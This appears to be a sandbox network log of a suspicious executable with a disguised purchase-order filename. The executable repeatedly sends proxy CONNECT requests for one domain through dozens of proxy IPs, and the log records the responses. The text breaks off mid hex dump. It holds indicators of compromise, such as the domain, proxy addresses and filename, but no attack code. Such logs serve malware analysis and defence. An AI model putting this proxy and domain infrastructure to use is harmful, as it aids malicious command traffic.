Mar 11, 2024 16:42:20.723021984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.11	51425	147.75.92.251	10010	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.723109961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.998671055 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.11	51522	104.19.235.10	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.729157925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.883152008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.11	49784	42.200.196.208	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.735135078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.876049995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.876688957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.298420906 CET	72	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.11	51474	24.176.53.183	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.747811079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.297852993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.047185898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.532486916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.438905001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329605103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.11	51390	31.43.158.108	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.776014090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.11	51412	27.0.234.206	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.776134968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.11	51423	198.44.255.3	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.776149988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.11	51553	104.17.210.9	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.776179075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.930706024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.11	51572	43.134.238.25	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.776282072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.11	51509	23.152.40.15	5050	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.777060032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.11	51589	46.22.210.184	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.779642105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.11	51431	185.49.31.207	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.793432951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.11	51555	44.226.167.102	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.794420004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.987310886 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:20 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.11	51615	46.22.210.184	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.794533968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.11	51617	46.22.210.184	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.797207117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.11	51621	46.22.210.184	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.798928022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.11	51477	147.75.34.86	10000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.815177917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.120908976 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.11	51415	202.40.181.220	31247	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.815486908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.11	51407	13.234.24.116	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.815531015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.205585957 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.11	51409	49.249.155.3	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.832513094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.657247066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.005089045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612531900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.642021894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.642669916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.693792105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.485167980 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:44 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 16:42:44.485174894 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.11	51524	24.249.199.12	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.834558964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.11	51471	45.138.87.238	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.835408926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.11	51473	202.179.184.44	5430	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.840121984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.11	51544	72.206.181.105	64935	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.847393990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.11	51430	95.56.254.139	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.847820997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.378159046 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.11	51464	14.103.24.20	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.851154089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.204773903 CET	536	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 